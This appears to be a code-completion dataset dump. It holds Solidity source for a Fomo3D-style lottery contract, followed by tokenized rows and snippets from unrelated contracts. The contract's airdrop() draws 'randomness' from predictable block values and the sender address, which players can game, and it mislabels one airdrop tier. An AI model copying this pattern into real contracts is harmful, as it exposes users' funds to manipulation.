_rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, BBTdatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 10000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(BBTdatasets.EventReturns memory _eventData_) private returns (BBTdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 1) return(0); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, BBTdatasets.EventReturns memory _eventData_) private returns (BBTdatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(BBTdatasets.EventReturns memory _eventData_) private returns (BBTdatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // bbt share, and amount reserved for next pot uint256 _win = (_pot.mul(50)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _bbt = (_pot.mul(potSplit_[_winTID].bbt)) / 100; uint256 _res = ((_pot.sub(_win)).sub(_gen)).sub(_bbt); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // no community rewards // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // send share for bbt to divies if (_bbt > 0) BBTAddress.transfer(_bbt); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.BBTAmount = _bbt; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and bbt */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, BBTdatasets.EventReturns memory _eventData_) private returns(BBTdatasets.EventReturns) { // pay 0 out to community rewards //pay 20% to BBT holders uint256 _bbt; // distribute 10% share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit BBTevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _bbt = _aff; } // pay out bbt _bbt = _bbt.add((_eth.mul(fees_[_team].bbt)) / (100)); if (_bbt > 0) { // deposit to BBT contract BBTAddress.transfer(_bbt); // set up event data _eventData_.BBTAmount = _bbt.add(_eventData_.BBTAmount); } return(_eventData_); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, BBTdatasets.EventReturns memory _eventData_) private returns(BBTdatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 10% into airdrop pot uint256 _air = (_eth / 10); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (aff share 10% + bbt share x% + airdrop pot share 10%)) _eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].bbt)) / 100)); // calculate pot - gen share y% uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, BBTdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit BBTevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.BBTAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require( msg.sender == 0xFe3701b3071a28CC0d23b46A1d3e722E10A5a8f8 || msg.sender == 0xFe3701b3071a28CC0d23b46A1d3e722E10A5a8f8 || msg.sender == 0xFe3701b3071a28CC0d23b46A1d3e722E10A5a8f8 || msg.sender == 0xFe3701b3071a28CC0d23b46A1d3e722E10A5a8f8 || msg.sender == 0xFe3701b3071a28CC0d23b46A1d3e722E10A5a8f8, "only team just can activate" ); // can only be ran once require(activated_ == false, "DIZHU already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_ + rndGap_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library BBTdatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 BBTAmount; // amount distributed to bbt uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 bbt; // % of buy in thats paid to bbt holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 bbt; // % of pot thats paid to bbt holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library BBTKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
(team => fees) pot split distribution by team
mapping (uint256 => BBTdatasets.PotSplit) public potSplit_;
1,192,435
[ 1, 12, 10035, 516, 1656, 281, 13, 5974, 1416, 7006, 635, 5927, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 261, 11890, 5034, 516, 21752, 56, 21125, 18, 18411, 5521, 13, 1071, 5974, 5521, 67, 31, 1377, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xa52c0Bb1b802e9d6A483072d56fd22B58B964455/sources/contracts/mixins/nftDropMarket/NFTDropMarketExhibition.sol
@notice Maps a collection to the exhibition it was listed with. @notice The NFT Market contract address, containing exhibition definitions.* @notice Emitted when a collection is added to an exhibition. @param nftContract The contract address of the collection. @param exhibitionId The ID of the exhibition the collection was added to./* @notice Set immutable variables for the implementation contract. @dev Using immutable instead of constants allows us to use different values on testnet. @param nftMarket The NFT Market contract address, containing exhibition definitions./
constructor(address nftMarket) { if (!nftMarket.isContract()) { revert NFTDropMarketExhibition_NFT_Market_Is_Not_A_Contract(); } _nftMarket = nftMarket; }
2,624,937
[ 1, 8903, 279, 1849, 358, 326, 431, 15769, 608, 518, 1703, 12889, 598, 18, 225, 1021, 423, 4464, 6622, 278, 6835, 1758, 16, 4191, 431, 15769, 608, 6377, 18, 225, 512, 7948, 1347, 279, 1849, 353, 3096, 358, 392, 431, 15769, 608, 18, 225, 290, 1222, 8924, 1021, 6835, 1758, 434, 326, 1849, 18, 225, 431, 15769, 608, 548, 1021, 1599, 434, 326, 431, 15769, 608, 326, 1849, 1703, 3096, 358, 18, 19, 225, 1000, 11732, 3152, 364, 326, 4471, 6835, 18, 225, 11637, 11732, 3560, 434, 6810, 5360, 584, 358, 999, 3775, 924, 603, 1842, 2758, 18, 225, 290, 1222, 3882, 278, 1021, 423, 4464, 6622, 278, 6835, 1758, 16, 4191, 431, 15769, 608, 6377, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 12, 2867, 290, 1222, 3882, 278, 13, 288, 203, 565, 309, 16051, 82, 1222, 3882, 278, 18, 291, 8924, 10756, 288, 203, 1377, 15226, 423, 4464, 7544, 3882, 278, 424, 15769, 608, 67, 50, 4464, 67, 3882, 278, 67, 2520, 67, 1248, 67, 37, 67, 8924, 5621, 203, 565, 289, 203, 565, 389, 82, 1222, 3882, 278, 273, 290, 1222, 3882, 278, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x17e5211F5Bc22CeA4AA0DBF49768054433480D8E/sources/VIRAL.sol
exclude from paying fees or having max transaction amount
